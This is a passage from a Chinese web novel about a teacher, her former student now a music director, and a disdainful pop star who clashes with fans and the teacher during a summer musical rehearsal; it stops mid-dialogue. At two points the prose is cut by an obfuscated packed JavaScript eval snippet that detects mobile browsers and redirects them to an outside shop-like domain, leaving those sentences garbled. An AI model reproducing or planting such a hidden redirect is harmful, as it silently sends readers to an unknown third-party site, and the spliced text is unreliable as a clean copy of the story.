“吃饭。”她十二点钟准时出现在他办公室。 “我先……”李北辰电脑上的工作还没处理完,想找她宽容几分钟。 “你先吃饭。”李知难用手敲了敲桌子。 “好。”他乖乖地合上了电脑,走到茶几前。 “今天的菜是葱爆羊肉,你混素搭配着吃,不要吃饭前先给菜动手术。”李知难边解塑料袋边交代。 李北辰乖乖点头,道:“今天陈亦童不在公司,奚西呢?” 李知难有些意外他对奚西的事情如此关切,答道:“她今天请假了。” 李北辰眼底生出了些笑意,但没再多说。 “北辰哥,”门外传来女孩的声音,她也没等回应便推门而入,道:“我想找你……啊,你有客人啊?” “哦,嗯。”李北辰点了点头。 女孩侧眼瞧了瞧李知难,俏皮地压低音量道:“那我下班跟你说?” “没事,你现在说就可以。”李北辰回得体面。 女孩点了点头,道:“也没有别的事,就是问你下班要不要一起聚餐?” “不了,我还有别的安排。”李北辰温声拒绝道。 “那好吧。”女孩摆了摆手,颇为遗憾地走了出去。 两个人虽然仍旧吃着盒饭,但气氛显然因为那活泼鲜亮女孩的出现而变得有些尴尬。 李知难夹了口菜,不急不忙地说道:“可以啊,你还挺受欢迎的。” “嗯。”李北辰点头。 “嗯?”李知难望向他,“不客气客气吗?真就直接答应了?” “我觉得你好像不需要我客气。”李北辰解释。 “为什么?” “因为在你眼里,我一点也不优秀,更没什么可值得受欢迎的,所以要是这种外界的认可能让你对我有所改观,我就不想客气了。”他诚实回答。 李知难否认道:“我什么时候说过你不优秀了?” “每时每刻。”他认真答。 李知难放下了筷子,“李北辰,你十分优秀,各种方面的优秀,人品,才华,学识,风度,都很让我这个曾经的老师非常骄傲。” “那长相呢?”他追问。 “肤浅不肤浅。”李知难白了他一眼。 “长相呢?”他不死心地问。 “吃你的饭吧。”李知难将盒饭朝他那边推了推,不再回应。 29. 追星 下午学生排练,穆婷婷看着一脸笑意的李知难评论道:“李老师,您最近心情还挺好的。” “好什么……有什么可好的。”李知难被这样一说,心里突然一慌,她清了清嗓子,尴尬回道。 门口传来敲门声。 “你好。” 李知难回过头,看到了一张精致美艳的脸。是文诗,在室内都要戴着黑色墨镜的大明星,文诗。 “请问你是李知难老师吗?”漂亮的大明星面向她客气问道,“我能和你谈谈吗?” 周围的学生全都停了下来,像是礼佛一样对着眼前突如其来的她行注目礼,眼皮都不带眨一下的。 李知难点头,却不知大明星和她能谈些什么,看周围孩子们八卦的表情,只道:“咱们去外面说吧。” 二人来到了旁边空闲的房间,文诗率先开口道:“也许你不认识我,但是我听过很多关于你的事情。” “是吗?”李知难故作无所谓地回答。 “我和李北辰的关系很好,他什么都跟我说。”文诗又道。 “哦。”李知难点了点头,似乎不在乎她这些客套的场面话,希望她能快点直入主题。 “北辰家里最近出了些事情,不知道你听说了没?”文诗问道。 李知难没有答话,只等着她的下文。 “他最近还有新的工作要接洽,会非常忙,音乐剧的事,我觉得你最好直接和陈亦童对接,毕竟……”她话音未落,只听门口响起了一阵轻快的敲门声。 “文诗!”穆婷婷兴奋地跑过来,道:“我,我一个朋友特别喜欢你,她叫苗苗,你还给她的微博点过赞,你还记得吗?” 文诗摇了摇头,带着被打断的不悦和对小女孩聒噪的嫌弃。 “你能帮我签一个名吗?就写To苗苗,可以吗?”她央求道。 文诗习惯了周围有助理帮忙处理这些问题,见女孩愈发难缠,也无法再和李知难交谈,只道不方便,便起身离开了。 李知难看着眼前的穆婷婷,心底突然生出一种获救的感觉。 “婷婷,下回有不懂的英语题,直接来我问我啊。”她拍了拍穆婷婷的肩膀,带着一脸蒙圈的女孩回了训练室。 第二天早上,穆婷婷身边多了一个小跟班。 “今天文诗会来,苗苗真的很喜欢她,求您了李老师。”穆婷婷像是奚西一样,都天然会这一套撒娇耍赖的方法。 “昨天只是巧合,谁说人家今天会来了?”李知难回道,心想最好别来,最好永远都别来。 “就让我们等等试试,就这一次,下不为例!求你了李老师。”李知难左右胳膊被两个女孩当成麻绳荡来荡去,最后无奈点了头:“下不为例。” 苗苗倒确实有明星缘,他们一行才到训练室,文诗和随行的两名工作人员就已经在里面了。 苗苗像是出门撞了大运一般,激动地从书包里掏出准备好的照片:“文诗,我好喜欢你,我从初中就开始喜欢你了,你能帮我签个名吗?” “对不起不方便。”文诗绕过女孩,走到李知难面前。 苗苗平时人精一样的眼力见儿今天全都没影了,她急忙凑过来,拿出手机,央求道:“那能照张相吗?拜托了!” “对不起,不方便。”文诗的态度已经不是冷淡,而是各个角度地透露着厌烦。她给两边的工作人员试了眼色,两边人一左一右地站了过来。 “李老师……”文诗才开口,又被苗苗打断:“你肯定是不记得我了,我是苗苗,就是微博上那个一根小树苗,你还给我点过赞的,你记得吗?我和小李老师的合影,你还给我留言来着,是我啊!” “能出去聊一下吗?”文诗板着脸看向李知难。 李知难看着她对自己学生这样的态度,顿时也没了交谈的欲望,何况昨天她已经将话描了个边,不过是场没意义的争风吃醋罢了,她学着她方才的态度,原样把话送回道:“对不起,不方便。” 文诗看了看她又看了看女孩,冷哼一声,没好气地转头离开了排练室。只听文诗的经纪人在后面编排道:“如果你们学生是这种素质,那我们可能音乐也多余帮助你们这种人。” “一帮什么人啊,听不懂人话似的。”两个人跟在文诗屁股后面,狐假虎威地离开了。 “他们什么人啊!”学生们也对来自陌生成年人的评价忿忿不满。 角落有人低声道:“苗苗,你是不是有病,追星追成这样,自己丢脸还要连累我们挨骂。” “你又不是我们音乐剧的,来捣什么乱?” 穆婷婷替她抱不平,对众人道:“你们能不能不要这么说话?” “人家不知道她苗苗是谁,那这些丢脸的事就都要算在我们头上!真是倒霉。” “还小树苗,人家压根不记得,以为自己是谁啊。” 苗苗在偶像那里碰了一鼻子灰,又被同学们这样指责,一时间情绪失控,哭着便跑了出去,刚到的奚西目睹这一幕,也跟着李知难一起追了出去,两个人好劝歹劝才算是哄好了小姑娘。 最后李知难负责回去善后,奚西负责送苗苗离开。 李知难才走到排练室门口,里面已经吵了起来。 穆婷婷听着周围人对苗苗的指责,开火道:“你们就只会落井下石吗?这件事错的是苗苗吗?文诗是明星,她用这种态度对待粉丝难道错的还是喜欢她的粉丝吗?” 同学小声念叨:“她这种私生粉人家凭什么满足她的要求?” 穆婷婷狠狠道:“可能音乐是她家吗?难道不是公共场合吗?你搞清楚,是她来我们的排练室,不是我们追到她家里找她的。” “本来也是苗苗不该来,现在走了就完了。都别吵了,赶紧练习吧。”作为男主角的王子然劝道。 穆婷婷侧头看他如此道貌岸然地拉偏架,气道:“王子然,你有什么资格说这话?你之所以能来参加排练,还不是因为秦梓轩不肯来才被你捡漏了吗?” 王子然显然被戳到了脊梁骨,道:“我还不想演呢,是奚西老师跟我说这是任务我才来的好么?” 穆婷婷冷哼了一声。 “不想让我演,那你去找秦梓轩来啊?谁不知道你跟他之间……” 话音未落,李知难推门而入,生气道:“有完没完?和音乐剧没关系的问题,你们跟着吵什么?还演吗?还排练吗?要不然专门来吵架吧?” 大家都噤了声。 声乐老师开始了上午的课程,方才的闹剧也告一段落。排练室外,李知难皱着眉思考发生的事情,奚西劝道:“算了,人家是大明星,没有义务要满足小女孩的愿望的。” “苗苗怎么样?”李知难问。 “我送她上出租车了,”奚西道,“她脾气来得快去得也快,说以后要当文诗的黑粉,让她后悔今天没好好对待她。” 李知难笑道:“小孩子脾气。” 午休时,李知难拎着盒饭照旧去李北辰办公室,才推开门,却发现他人不在,文诗正坐在他的座位上,摆弄着他的电脑。 “李老师找北辰有事?”文诗见她门也不敲就进来,态度有些不悦。 “你一直是这种态度吗?”李知难问道。 “什么态度?” “高高在上。” 文诗轻笑道:“有没有可能,我就是正常的态度,是别人站得太低了,才有了这种错觉?” 李知难回道:“我没权利干涉你怎么对待粉丝,但就算是陌生人之间,基本的礼貌也不难吧?你不会觉得自己刚才有点过分吗?” 文诗态度带着对外行人的轻蔑,回道:“我现在没有在工作,没有在签售会,难道就因为我是明星,就需要二十四小时满足所有粉丝的愿望吗?我是人,不是圣诞老人。” “可能喜欢你的人有很多,也许就是因为太多了,所以你习惯了,不会也不用珍惜,”李知难道,“但是每一个人的喜欢都很珍贵,等以后这些喜欢没了,你可以想想我这句话。” “李老师还真是天生做老师的料啊,”她话意间带着不变的嘲讽,“不管是不是自己学生,都想要教导两句?” 李知难无奈地摇了摇头,话不投机半句多,既然李北辰不在,她转身准备离开。 却听文诗在身后问道:“李老师,我有件事想请教你。” 这话音间带着挑衅,她突然起了好胜心,不想被看作讲理讲不过就逃跑的懦夫,转过头,轻车熟路地坐到了平时的位置。 “你问。” 文诗问道:“你是怎么看教师这个职业的?” “和你一样,和扫大街的收废品的也一样,这只是一份工作,没什么不一样的。” “不神圣吗?” “不神圣。” “你知道吗,我上学的时候,成绩普普通通,当时我的老师说,我这辈子也不会有什么大出息。可是现在呢,我一天赚的钱,他一辈子也赚不到。是不是挺讽刺的?”文诗问。 “所以呢?” “所以我觉得你说的对,这个职业确实不神圣。”文诗答。 若说之前的言语还只是夹枪带棒,这话说的就极为直白了。 文诗又道:“可就算不神圣,也应该有最基本的职业操守,对吗?” 李知难等着她的下文。 “老师和学生之间,是不是应该分得清楚一些?各尽各的本分,各守各的原则,不是吗?” 李知难笑了笑,道:“你对自己和粉丝之间的关系要求得挺宽裕,倒是对别人要求的挺严格呢?” 文诗脸色一变,还没来得及开口,听李知难又问道:“你很在意你之前的那位老师吗?” “我当然不在意……”文诗下意识回答。 李知难看着她,轻轻地笑了。那笑容像是在说,真不在意你就不会记这么多年了。“也对,你也不能穿越回过去,去跟那个时候的他说,你说的都是错的。回嘴这件事,如果不是当时立刻回了,就总是差点意思。” 李知难继续道:“老师就是这样,在某个特定的时期,就算你未来是宇宙霸主,现在的你也只是个学生,而作为管理者的老师,手里掌握着管理你的权力。权力是个好东西,很多人没尝试过,一旦得到了就容易滥用。庆幸的是,老师的权利和别的职业不同,固定时间内相对较大,自由时间内绝对有限。人要是能掌握好自己手里的权力,就不愁不能好好掌握人生了。” 文诗察觉到她这话里的讽刺,回道:“无所谓,反正现在我赢了,这才最重要。” “你要是这么想,那……就这么想吧。”李知难答。可能那个老师确实给文诗带来了阴影,但是毕竟是他人的因果,自己犯不上帮忙劝度,佛渡有缘人,李知难只渡自己班上的。 文诗不服气道:“不是么?一个曾经成绩平平的学生,收入优渥,一个名校的高材生,月入几千,李老师不会觉得不公平吗?” “不会。”李知难回。 “那我倒是挺好奇,李老师一个月赚多少?暑假还要带着学生来外面打工?”文诗挑眉。 “不多,可我衡量人生的价值不是钱。”李知难也没有回避,“当老师本来就不是件轻松差事,可总要有人做,就看人对自己人生道路的选择了。社会的供需关系决定了教师这个工种工资不会很高,我觉得,这也不是什么坏事。一旦这个工作岗位工资高了,变成了香饽饽,大家都来争抢,反倒容易让道德水平低下的人惦记上。基层行业的教师,医生,警察,都不会在金钱方面有太多收获,因为这些行业, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14492437|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多少需要有使命感的人来做,不然容易引来苍蝇屎。一个犯了错误的明星,犯了罪的商人,对社会的伤害到底是有限的,可是处在社会重要位置的岗位,如果犯了错,是会动摇根基的。当然,我的看法只代表我自己。” 文诗悻悻道:“李老师倒是挺会自洽,就好像老师里没有人渣一样。” “自然是有的,什么行业都会有,你对这点不应该更有体会吗?”她反问。 文诗见她几句话就将自己驳回来,也不再绕圈子,直白道:“能言善辩这点,我当然比不过你。李老师这么高尚,中午却假公济私地总往十楼跑,还真是说得好听,做就另当别论了呢。” 李知难淡然回道:“中午是休息时间,我做什么是我自己的事情。” “所以就没事跑来和以前的学生厮混在一起?”她态度愈发凌厉。 “你高考语文考多少分?厮混是这么用的吗?”李知难皮笑肉不笑地看她,“那你平时也是每天和经纪人厮混,和其他男艺人厮混,和投资方老板厮混吗?” 文诗气道:“你不要血口喷人。” “你这不是也知道语言霸凌的厉害吗?怎么双标这件事,用得举一反三的?”李知难一点也不脑,像是看笑话一般。 文诗还在想词的功夫,李知难冷静道:“我知道你来找我的目的,你的那些虚张声势,趾高气昂,我都明白,是想让我看清自己的身份,看清和你的差别,然后离李北辰远一点。但是在我心里,明星、老师,都只是一份工作,你可能用这个身份用习惯了,但是这只是一个标签,你的名气不会让我自卑,你想证明的优秀也不应该通过和我比较,你跟我不在一个世界,我们之间没有任何东西可用来比较的。另外,你如果喜欢李北辰,不希望他和别人接触,那你应该去和他说,而不是用这种方式来对待我,你是个漂亮的女孩,唱歌很好听,在舞台上也很有魅力,可你舞台下这种行为,有点侮辱自己。” 文诗僵在了椅子上,好一会儿没再回答。 李知难看了看时间,还有半个小时就要开始下午的台词课,她拎起了盒饭袋子,准备离开。才推开门,迎面撞上急匆匆赶回来的李北辰,他看着李知难兴奋道:“我还怕你走了,正巧。你看这是什么?” 他炫耀地举起了手中的袋子:“杨记麻辣烫,以前你带纪修逃课去吃的那家。我刚才去排队买了。现在他家太火了,我排了一个多小时,你尝尝是不是以前的味道。” 李知难尴尬地看着他,用眼神递着信息,要他往里瞧。 李北辰看过去,意外地看到了文诗坐在自己的位置上,询问道:“你怎么在这儿?” “我……来看曲子。”文诗答得有些不自然。 “哦,”李北辰道,“那你看吧。” 他转身对李知难道:“我们去隔壁会议室吃?还有半个小时,一会儿你该来不及了。” 李知难拿过了他手上的麻辣烫,把手上的盒饭递给他,体面道:“你和文小姐有工作就先忙吧,这个我拿走了,谢谢你,盒饭记得吃。” 下午排练结束后,李北辰才到电梯厅,就碰到了一涌而出的孩子们,大家看到李北辰都颇为兴奋,凑过来打招呼,将他围在了中央。 “小李老师,你怎么都不来看我们排练啊?” “小李老师,之后会有你来给我上的课吗?” “小李老师你在哪层上班啊?” 七嘴八舌的问题他一时间也不知道应该回答哪个,正巧奚西也走了过来,便解围道:“小李老师有自己的工作要忙,大家得理解。” 孩子们失望地看着他,李北辰温柔道:“我有时间会尽量过来的。” 孩子们还想和他再分享在可能音乐的见闻,奚西看着他余光不停地向排练室方向瞟,开口道:“好了,别耽误小李老师了,散了吧,都早点回家,路上注意安全。” 学生们陆续离开,奚西给李北辰递了个眼神,示意他去排练室,小声道:“知难在里面。” 李北辰推开半掩的门,李知难正在收拾卫生。她以为是奚西回来,头也没回便道:“一会儿去喝奶茶吗?” 李北辰轻声笑了。 李知难以为奚西在犹豫,口气略带撒娇似的央求道:“听说特别好喝,去尝尝嘛?” 她回过了头,正好撞上李北辰温柔的目光。 他轻声道:“你不用打扫的,晚上会有人专门来打扫。” 明明每天都能见到的脸,按理来说应当看习惯了的脸,可这突如起来的一瞥却令李知难心里莫名地漏了一拍,她手上的动作更忙了,原本扫过的地方也又被重新扫了一遍。 李北辰上前要帮她,她略慌张地停止了打扫,将垃圾倒进垃圾桶,道:“扫完了,你……怎么来了?” 李北辰并没看出她的情绪波动,只道:“我来……呃,要不要去喝奶茶?” 李知难清了清喉咙,眼神开始搜索借口。 她还没来得及说,李北辰无奈摇了摇头,道:“开玩笑的,我有事跟你说。” “你说。” “文诗和你乱说话了吧?”他问,语气倒是肯定。 李知难答:“没说什么。” “明明说了。”他表情带着对她隐瞒的不悦。 李知难笑着看他,便问:“她告诉你的?” “不是。” “那你这话从何说起呢?” “……”李北辰没答。 “我没事的,你明天中午别出去买饭了,盒饭就挺好。荤素搭配,营养均衡。”她回道。 李北辰眼睛亮了一下,道:“是……吗?” “嗯。”李知难点头。 李北辰微微扬起了唇角,道:“那明天见?” “好。” 30. 夏天快乐 次日一早,李知难才到排练室,便看到镜子前密密麻麻的摆了一桌子饮料。 “什么东西?”她询问道。 “小李老师请的奶茶。”学生答,“昨天我们在电梯口碰到小李老师了,还是咱们小李老师对咱们好啊。” 学生们帮腔道:“没错,小李老师可是咱们在可能音乐的娘家人。” 李知难被孩子们逗笑,道:“什么乱七八糟的。” 奚西拿了一杯递过来,道:“真巧啊,你昨天不还说想喝这家呢吗?” 李知难慢了一拍,缓缓应道:“嗯,是说呢。” 此时,门口突然传来声响,陈亦童和几个领导模样的人在门口向内观望,见里面桌子上全是饮料,为首的中年男人道:“可能音乐还挺周到,能想着孩子们辛苦不容易,给孩子们准备饮料。” 陈亦童也颇为意外,他看着奚西手上的饮料,虽不知内情,仍顺势应下来道:“呃,是。我们之前没有这种合作,有很多地方做得不足的,我们也在一一改善中。” 李知难有些意外地看着门口的人,一时间不知道他们到底是什么关系。 下面的学生倒是诚实,也不管对方是什么身份,也不在乎陈亦童的面子,道:“什么啊!这是我们小李老师给我们买的!” 陈亦童脸色明显沉了一下,但立刻换回了周正的商务面孔,对周围人补充道:“小李老师就是我们李总监,负责音乐制作这块儿的,之前在咱们学校音乐剧负责选角排练,和孩子们感情很深厚。” 男人点了点头,然后对着排练室角落的女孩摆了摆手。 大家的目光都随着男人慈祥的目光一起看了过去。 穆婷婷显然有些意外,看着男人尴尬道:“爸?你怎么来了?” 穆爸爸道:“我来看看你们的排练环境。”他转过头看向陈亦童,介绍道:“我女儿,婷婷。” 陈亦童应和道:“知道,咱们这部剧的女主角,非常优秀。” 穆爸爸面带得意的笑容,透露着对女儿的疼爱,穆婷婷此时也走了过来,小声对他道:“您是来开会的吗?” 穆爸爸没回应,低头看了看表,对陈亦童问道:“人来了吗?” 陈亦童给身后助理使了个眼色,助理忙道:“马上下来。” 穆爸爸表情虽仍是那份和善,可眼里的笑意此时都没了踪影。 约莫五分钟后,文诗和陪同的两个经纪人再次出现在了排练室内。 “来,文诗,给你介绍一下,这位就是穆总。”陈亦童开口道。 文诗笑着伸了手:“穆总您好。” 穆爸爸仍旧满眼都是女儿,像是看不到听不到身侧的女明星一般,没有伸手去接,直接将她晾在了那里,场面顿时分外尴尬。 文诗的经纪人立刻打圆场道:“穆总怎么还选在这儿了呢?要不咱们上楼谈吧,这儿孩子们排练,怕打扰到穆总。” 陈亦童黑着脸看他,示意他噤声。 穆爸爸总算转过头正脸看文诗,他指了指自己身旁的穆婷婷,道:“这是我女儿,是你的粉丝。” 文诗强撑着笑着回道:“那我很荣幸。” 她并不记得眼前的女孩是谁。 “荣幸吗?她妈妈说,她昨天找你要签名照你没给,孩子难过得晚饭都没吃下。”穆爸爸口气虽然轻松,但周围人都开始随着他的话倒吸一口气,“大明星都这么高贵吗?我平时见得多了,也不是这样啊。” 文诗的笑僵在了脸上。 穆婷婷小声解释:“爸爸,你误会了,我不是她的粉丝……” 穆爸爸看着女儿,指桑骂槐道:“爸爸几千万的合同也照样要给他们签,找他们给你签张照片儿,没想到还这么费劲。” 陈亦童这下总算明白了这位老总一大早就来到公司还指明要文诗亲自过来的真正原因。可现在他也不好说什么,这本是一件小孩子的事,处理不好,却会惹来大麻烦。 文诗的经纪人充起和事佬,道:“您瞧瞧,这误会不就大了么!这,大水冲了龙王庙!原来咱们婷婷同学是穆总的千金,难怪这么漂亮,简直就是小明星呢。穆总,咱们楼上说吧?别耽误孩子们排练啊,这电视台对节目要求特别严格,他们的排练目前是我们倾全力准备的项目。” 穆总转过头看他,仍旧是平和的语气:“倾全力?这项目有什么盈利的点吗?投资人的钱你们就这么用的?” 文诗自然明白这是针对她而来,可她平时和资方接触也都是客气礼貌,像这样上来就兴师问罪的资方,今日是头一遭。她只在经纪人背后,不再言语。 陈亦童盘算着两边的态度,知道这回文诗是躲不过了,怎么也要低头认错也能了事,他开口道:“文诗最近也是忙得不行,估计是昨天形象不太好,怕拍照难看,但是婷婷是自己人,她也是不知道楼下的情况,要不然怎么可能出这种乌龙。文诗,你看婷婷这么喜欢你,你别愣着啊,快过来咱们跟婷婷拍张照片。” 文诗立在原地没有动,还是经纪人再次发力,拉着她走到了穆婷婷身边,硬将她们两个凑到一起,再拉起文诗的胳膊环到了穆婷婷肩膀。文诗虽然不愿,可也知道擒贼擒王,穆总紧张女儿,只要女儿高兴了,这出闹剧也就没得演了。 “瞧瞧,粉丝和偶像一样养眼,太好看了。”经纪人念叨道,顺势举起了相机。 可没成想穆婷婷直接将文诗的手拨开,向一旁退了一步,道:“我说了,我不是她的粉丝。” 穆婷婷的脸上并没有得意,反倒是因为父亲的这出戏而满脸难堪,她认真看着文诗道:“想要你照片的人不是我,而且那个人现在也不想要你的照片了。” 穆爸爸没明白具体情况,但是至少知道自己的女儿的确受了委屈,面露愠色道:“婷婷是我的掌上明珠,我这么多年都没敢跟孩子说一句重话,你们可能音乐可以啊,送你们这儿来学习的,结果是让我们学吃苦来了是不是?” 文诗的经纪人噤了声,话说至此,已经超越了他能沟通的范围,他求助地看向陈亦童,发现陈亦童也同样冷着脸,不知是在想对策,还是在脑文诗。 “婷婷爸爸,”僵持之下,李知难出了声,“我理解您这边有问题要解决,但是咱们时间已经到了,孩子们得排练,您看有没有可能咱们去外面说,先让孩子们练习?” 穆婷婷爸爸一直趾高气昂的态度,在看清李知难之后突然变了,他如同每一个家长一般,恭敬道:“诶哟,对不起啊李老师,没看到您在这儿。” 李知难回道:“没事的,咱们出去说?好不好?” 穆婷婷爸爸自然要卖她这个面子,道:“对对对,别打扰孩子们。” 随着一行人离开,陈亦童和文诗的经纪人都不由松了口气,唯独文诗眼神恨恨地看着一旁面色平和的李知难。昨日的对话如同谶语,她没想过这记回旋镖竟然转个天就功夫就扎回了自己身上。 李知难并没有看她,可她却从她的无视中解读出了成千上万种的嘲讽,每一样都远远比刚才发生的一切更令人无地自容。 办公室内,文诗气急败坏地将杯子扔到了屏幕上,一地的狼藉和她的愤怒,映得周围两个男人脸上的平静有些突兀。 陈亦童冷声道:“闹够了吗?闹够了就该干嘛干嘛去吧。” 文诗气道:“我不!凭什么!” “凭他的股份,他的钱,他的地位,凭你得罪了他的女儿。”陈亦童沉声答,“文诗,你和你周围那几个人喜欢搞家家酒,演公主太监,那是你们自己的事。但是我对所有的工作人员一视同仁,不管你是明星还是助理,在我这儿都是工作关系。我负责你们的职业规划,但是你们不是我的主子,所以别跟我来这一套。” 文诗:“你是不是早就惦记让我上那个破节目帮你带新人了?这事是不是就正和你了你的心意?” “你要是做事滴水不漏,别人也钻不了你的空子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14496821|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈亦童答,“现在原本的项目穆总不看好你,难道你要空着档期闲着吗?《声伴》的体量确实不大,但是也算是正统的音乐综艺,你一个歌手不想上音乐节目,总惦记外面那些流量,是不是有点本末倒置了?” 文诗气道:“是我不想做音乐吗!你们有把资源给我吗?让李北辰给她们写歌,把好的商务资源偏向她们,这不都是你干的么!” 陈亦童无奈地叹了口气,对李北辰道:“你跟她一块上《声伴》。” 文诗翻了个白眼:“他怎么可能会……” “好。”李北辰打断了她的话,点头应道。 文诗像是原地死机了一般,她的视线在两个男人之间来回切换,仍旧没有找到合理的缘由。 “行了吗?”陈亦童看着她,“行了就赶紧让他们改行程吧。” 文诗愣愣地看着李北辰:“你……真的肯去?” 李北辰点头。 “赶紧去定行程。”陈亦童忍不住揉了揉眉心。 文诗离开后,一地狼藉的办公室内只剩他二人。 “我挺意外你能同意的。”陈亦童道,“你不是最反感台面上的活动了吗?” 李北辰没答话,看了看表,起身道:“没别的事我就先回去了。” 他刚要推门,只听身后陈亦童的声音瓮瓮的,问道:“奶茶你买的?” 李北辰不解。 “奚西的奶茶,”他道,“你给买的?” 李北辰皱着眉看他,道:“你离奚西远一点。” 陈亦童看着他离开的身影,不由地又握紧了拳头。 待李北辰回到办公室,李知难已经坐在那里等了一会儿。他满脸歉意道:“有点事耽搁了。” 李知难开始解开盒饭的袋子,顺口问道:“文诗的事?” “嗯。” “解决了吗?” “解决了。” “那就好。” 李北辰看着她再次心无旁骛地准备盒饭,问道:“你不好奇吗?” “好奇什么?” “文诗的事怎么解决的。” “跟我又没关系。” 李北辰轻笑道:“我以为,你会……觉得她是恶有恶报。” 李知难道:“我……没想过她。” “这么大一出戏演在你面前,你都不琢磨的吗?” “琢磨,但是没考虑过她,我在想穆婷婷。”李知难道,“如果今天的行为是穆婷婷授意她爸爸做的,那我应该好好跟她谈一谈,这种行为不好的。可我觉得今天的事不像是她的主意,如果是她爸爸自作主张,那穆婷婷那边更麻烦。” “为什么?” “你想啊,穆婷婷爸爸这么一闹,首先她自己就会有情绪,父母在打着为孩子好的名义进行干预的时候,孩子自己的想法被完全忽视掉了,这算不算是另外一种伤害?其次,孩子们会怎么想她?她爸爸可能觉得自己给孩子出气了,但是周围的孩子们都在看着,说不定会有不太好的流言。”李知难分析道。 李北辰轻笑着看她。 “你看我干嘛?” “你是不是眼里心里都只有学生?” “当然不是。” “早上的奶茶好喝吗?”他笑着问。 李知难的脸不由得红了起来,她低下了头欲盖弥彰地夹了两口菜。 “李老师,”李北辰道,“筷子拿反了。” 李知难尴尬得恨不能找个地缝钻下去。 “下周就不用帮我带饭了。”李北辰突然开口道。 她抬起头,不解地望向他。 “我要去外地工作两周,”他解释道,“等我回来,可能你们暑假就结束了。” “哦。”她隐藏起心底的失望,若无其事的点了点头。 “李老师,这段时间谢谢你。”他努力想从她的表情中看出些什么,可又觉得看不出来也无妨,只道:“祝你夏天快乐。” 31. 不计任何代价 暑伏炎热,才一出门汗就在身上腻了一层湿意。热气透过五脏六腑,灼得人心神不宁。似乎所有人都被炎热传染,变得焦躁不安,皮皮三天两头惹麻烦,引得宋乐频频抱怨她这次暑假被占走了时间,皮皮爷爷奶奶因为课外班的事日日吵个没完,李知难妈妈最近迷上了理财,和李爸爸因为拢共没几万的资产闹分家。 学校里有写不完的教学计划,任务材料,可能音乐里孩子们也大问题偶尔,小矛盾不断。这个夏天进行得慌张潦草,每天都有各种鸡毛蒜皮。 李北辰的那句“夏天快乐”,成为了她每日出门前对着镜子默念的咒语。 说这话的时候,脑海中就会出现他的那双眼睛。他的声音清亮,像是竹器制的古乐,带着他独有的真诚。他是那么真诚而热烈地对她说:“夏天快乐。” 然后这个夏天,就真的好了很多。 排练的最后一天结束时,她专门去十楼的楼梯间里拍了一张照片。然后看着照片里的数字,不由地轻笑出声,又觉得自己莫名其妙。 奚西道:“终于结束了。”她长伸了个懒腰,“可能音乐,再也不见!” 李知难拍了拍她的肩膀,道:“休息几天咱们就学校见了?” 奚西瘪起了嘴:“我过的这是什么旧社会的日子!” 李知难东西收拾得差不多,道:“请你喝咖啡?” 奚西笑道:“怎么,奶茶喝腻了?” 李知难故作听不懂。李北辰出差的这两周,他人虽然没到,但是每天早上的奶茶都雷打不动地送到排练室,孩子们都在传,小李老师之所以不露面,是忙着在赚大钱。 奚西道:“不过师哥确实是在赚大钱。他去拍综艺了。” 李知难意外地看她。 “没想到吧?”奚西摇了摇头,“我也觉得很不像他的性格。唯一合理的解释就是……” 李知难等她下文。 “他欠债了。”奚西答。 李知难笑道:“编吧你就。” 奚西认真道:“他确实是去拍综艺了,不信你去看文诗的路透,都拍到他了。” 李知难道:“他要是真缺钱,就不至于天天请孩子们喝奶茶了。” “他那是在请孩子们吗?”奚西反问,然后察觉到李知难有丝尴尬,只道:“请我的,请我的。” “所以,他为什么拍综艺呢?”李知难到底还是压不住心底的好奇。 奚西正色道:“我猜,可能和他父亲去世有关吧。他不是在乎名利的人,突然改变态度,只可能是被什么事情刺激到了。” 李知难想了想,点了头,没再回应。 “不提这些了,”奚西换了情绪,“咱喝酒去吧?” 李知难有些意外地看她。 “我觉得咖啡因已经不能够缓解我现在的心情了,酒精才是我目前人生唯一的解药。”奚西认真道,然后眨着眼睛可怜巴巴地看着她。 “我叫小格子一起?”李知难有些心动,提议道。 “好啊,都叫来,还有吴老师,孙老师,人越多越好!那里不好停车,你要不要先把车开回去,然后打车过来?正好我先去占地方,周五那家酒馆非常火,我到了发给你地址。”奚西分配了任务。 李知难点了点头,两个人带着今番暂离只为来朝速聚的急迫,分头行头。周五下班时分的大楼内熙熙攘攘,大都在一脸欢快地讨论着周末计划,李知难忍不住会心一笑,才准备出楼门,就意外地被人拦住了脚步。 “你好。”拦她的女孩二十出头的年纪,模样一般,身材高挑,脸上化了明显能看出精心准备过但却并不算精致的妆容。 “我想和你谈谈。”她开口道。也不提李知难的名字,也不介绍自己,没头没脑地走过来,冒失地对她这样说道。 可李知难是认识她的。“好。” 她就近选择了上次和李北辰一起去过的咖啡厅,两个人在角落座位坐下。 李知难开门见山问道:“说吧,什么事。” “你知道我是谁,对吧?”女孩问。 “对。” “那你怎么还这个态度?”女孩带着一丝不解。 李知难轻笑,回:“你想让我什么态度?打你骂你吗?” 女孩低下了头,道:“那也是正常的。” “我是老师,你是公务员,我们都是文明人,应该可以用语言交流。”李知难说道。 女孩选择直抒来意:“我来找你,是希望你能离开宋乐。” “你是以什么身份,跟我说这件事呢?”李知难对她的态度,像是对待班里闯祸的学生。 “我知道我没有身份,但是你不爱他,对吗?可是我爱他,我想和他在一起。”女孩说到爱的时候,情绪渐渐激动。 李知难冷静反问道:“你们现在不就在一起呢么?” 